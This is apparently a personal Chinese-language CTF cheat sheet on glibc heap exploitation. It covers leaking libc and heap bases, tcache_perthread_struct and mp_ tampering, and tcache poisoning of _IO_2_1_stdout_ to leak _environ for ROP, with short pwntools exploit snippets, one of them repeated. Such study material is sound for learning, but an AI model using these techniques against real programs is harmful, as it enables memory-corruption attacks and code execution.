堆tricks

[TOC] 1. 泄露libcbase,heapbase 2. 打free_hook或IO_FILE 保护机制

泄露heapbase

  • 一般想要泄露heapbase的情况比较少见,都是想要修改tcache_perthread_struct才泄露。方法也很简单,有show函数直接让tcache结构变成:1->0,那么show(1)然后再dbg一看算一下相对偏移就行了(或者直接heapbase = heap & 0xFFFFFFFFFFFFF000)

泄露libcbase

  • 一般都是通过unsortedbin的特点来泄露libcbase,因此如何绕过题目限制得到一个unsortedbin chunk是核心问题。show出来的是main_arena附近,直接手动算个偏移就行了
  • largebin可以同时泄露libcbase和heapbase,但是要注意泄露后修复largebin
  • 有时候也会遇到没有show函数的情况,此时可以打__IO_2_1_stdout
  • 有时候会没有uaf,这样进入unsorted bin也不是很好泄露。但是可以利用chunk进入unsorted bin或者largebin会向其fd或者bk写入libc地址的特性,再add出来进行泄露就可以了

free_hook

可以看看这篇文章

tcache_perthread_struct

  • 这个还是很好用的
  • 有时候可以add的次数有限或者可以申请的chunk数量有限,所以不能直接用一个循环填满tcache,这时候可以通过修改tcache_perthread_struct中的counts数组,也可以达到填满tcache的效果
  • 这个是libc2.30以下的tcache_perthread_struct结构,counts类型为char
  • libc2.30及以上counts的类型变为unit16_t,总大小为0x10+2*0x40+8*0x40=0x10+0x80+0x200=0x290
  • 很显然这个时候要泄露出heapbase

mp_结构体

不能使用tcache -> 通过large_bin attack修改mp_.tcache_bins -> free相应chunk(满足tcache->counts[tc_idx] > 0) -> 修改tcache的相应entries -> malloc(等同于打了tcache poison) 如何找偏移,建议直接根据初值来判断,因为有时候没有符号表,libc2.32的已经知道了,在这个附近找就行 libc2.32:0x1e3280

tls

  • 远程可能需要爆破,所以自己基本没打过

stdout

  • 这个trick在libc2.31以后都比较有用,但是libc2.32加上了tcache的异或后还要泄露heapbase就没那么好用了
  1. show次数只有一次,这一次显然是泄露libcbase,剩下的泄露要通过tcache poison得到_IO_2_1_stdout_,来泄露_environ,得到retaddr来进行rop。
stdout = libc_base + libc.sym['_IO_2_1_stdout_']
environ = libc_base + libc.sym['environ']
delete(7)
add(0x80,'aaaa') #0
delete(8)
add(0x70,'aaaa') #1
add(0x90,p64(0)+p64(0x91)+p64(stdout)) #2
add(0x80,'aaaa') #3
#利用stdout泄露出stack_addr
add(0x80,p64(0xfbad1800)+p64(0)*3+p64(environ)+p64(environ+8)) #4
  1. show虽然有多次但是还是要泄露_environ来进行rop
  2. 没有show函数,存在off-by-null,这样可以覆盖_IO_2_1_stdout_的_IO_write_base最低字节为\x00,也可以泄露libcbase

calloc函数的trick

size = read(0, s, 0x400uLL);
  if ( size <= 0 )
    error("io");
  s[size - 1] = 0;
  if ( size <= 0x7F || size > 0x400 )
    error("poor hero name");
  *((_QWORD *)&chunklist + 2 * idx) = calloc(1uLL, size);
  • 如果往栈上写入rop,并且打malloc_hook,可以找一个magic gadget,如下所示,将rip指向rop链,也进行了函数执行的控制。
  • 这种gadget要自己到libc.so文件里面找
magic_gadget = libc_base + libc.sym['setcontext']+53
add rsp, 0x48 ; ret

environ

stdout = libc_base + libc.sym['_IO_2_1_stdout_']
environ = libc_base + libc.sym['environ']
delete(7)
add(0x80,'aaaa') #0
delete(8)
add(0x70,'aaaa') #1
add(0x90,p64(0)+p64(0x91)+p64(stdout)) #2
add(0x80,'aaaa') #3
#利用stdout泄露出stack_addr
add(0x80,p64(0xfbad1800)+p64(0)*3+p64(environ)+p64(environ+8)) #4
  • 在Linux C中,environ是一个全局变量,它储存着系统的环境变量。,它储存在libc中,因此environ是沟通libc地址与栈地址的桥梁.通过libc找到environ地址后,泄露environ地址处的值,可以得到环境变量地址,环境变量保存在栈中,通过偏移可以得到栈上任意变量的地址。
  • 得到栈地址后要自己dbg算出retaddr,栈中相对偏移是不变的

scanf的trick

  • 使用 scanf 获取内容时,如果 输入字符串比较长会调用 malloc 来分配内存。因此可以调用malloc consolidate函数实现合并fastchunks到unsorted bin进而泄露libc
createlarge(0x400*'1')